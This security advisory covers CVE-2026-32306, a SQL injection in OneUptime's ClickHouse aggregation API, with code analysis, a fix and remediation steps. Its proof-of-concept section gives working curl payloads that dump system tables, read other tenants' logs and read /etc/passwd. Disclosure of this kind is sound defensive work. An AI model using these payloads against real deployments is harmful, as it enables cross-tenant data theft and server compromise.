CVE-2026-32306: OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
typescript // BaseAnalyticsAPI.ts:292-296 const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize( req.body["aggregateBy"] ) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
typescript // AnalyticsDatabaseService.ts:276-278 if (aggregateBy.aggregationType) { // Only truthiness check — no allowlist }
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
typescript // StatementGenerator.ts:527 statement.append( ${aggregationType}(${aggregateColumnName}) as aggregationResult );
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
typescript // Statement.ts:149-151 public append(text: string): Statement { this.query += text; // Raw concatenation — "trusted SQL" return this; }
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
typescript statement.append( toStartOfInterval(${aggregationTimestampColumnName}, ...) );
Attack flow: 1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate) 2. Request body contains aggregateBy.aggregationType set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via .append() at line 527 5. ClickHouse executes the injected SQL
PoC
bash Step 1: Authenticate and get session token TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')
Step 2: Extract data from ClickHouse system tables via UNION injection curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
Step 3: Read telemetry data across all tenants curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
Step 4: Read files via ClickHouse table functions (if enabled) curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT FROM file('\''/etc/passwd'\'') --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
bash Verify the vulnerability in source code:
1. No allowlist for aggregationType: grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5 Line 276: if (aggregateBy.aggregationType) { — truthiness only
2. Raw SQL concatenation: grep -n 'aggregationType.aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts Line 527: ${aggregationType}(${aggregateColumnName}) as aggregationResult
3. .append() is raw concatenation: grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts this.query += text; — "trusted SQL"
4. No validation at API layer: grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist' 0
Impact
Full ClickHouse database compromise. An authenticated user (any role) can:
1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own 2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users 3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem 4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands 5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly
The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.
Proposed Fix
typescript // 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts: const ALLOWEDAGGREGATIONTYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];
if (!ALLOWEDAGGREGATIONTYPES.includes(aggregateBy.aggregationType.toUpperCase())) { throw new BadRequestException( Invalid aggregationType: ${aggregateBy.aggregationType}. + Allowed: ${ALLOWEDAGGREGATIONTYPES.join(', ')} ); }
// 2. Validate aggregateColumnName against the model's known columns: const modelColumns = model.getColumnNames(); // or similar accessor if (!modelColumns.includes(aggregateBy.aggregateColumnName)) { throw new BadRequestException( Invalid column: ${aggregateBy.aggregateColumnName} ); }
// 3. Same for aggregationTimestampColumnName: if (aggregateBy.aggregationTimestampColumnName && !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) { throw new BadRequestException( Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName} ); }
// 4. Use parameterized queries where possible: statement.append({aggregationType:Identifier}({columnName:Identifier}) as aggregationResult); statement.addParameter('aggregationType', aggregateBy.aggregationType); statement.addParameter('columnName', aggregateBy.aggregateColumnName);
Other sources
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions. This vulnerability is fixed in 10.0.23.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/oneuptimeto a version that resolves this vulnerability.Fixed in 10.0.23 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 10.0.23 - Compensating control
Add an allowlist for aggregationType containing only AVG, SUM, COUNT, MIN, MAX, and UNIQ; reject values not included in the allowlist.
- Compensating control
Validate aggregateColumnName against the model's known columns and validate aggregationTimestampColumnName against the model columns before constructing the ClickHouse query.
- Compensating control
Use parameterized queries for aggregationType, aggregateColumnName, and related query values instead of raw SQL concatenation through Statement.append().
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32306?
The severity of CVE-2026-32306 is classified as high due to its potential for SQL injection.
How do I fix CVE-2026-32306?
To fix CVE-2026-32306, upgrade OneUptime to version 10.0.23 or later.
What impact does CVE-2026-32306 have on OneUptime?
CVE-2026-32306 allows an attacker to execute arbitrary SQL commands through user-controlled parameters, compromising the database.
What versions of OneUptime are affected by CVE-2026-32306?
Versions of OneUptime prior to 10.0.23 are affected by CVE-2026-32306.
Is there a workaround for CVE-2026-32306 if I cannot upgrade?
There is no official workaround for CVE-2026-32306; upgrading to a patched version is necessary to mitigate the vulnerability.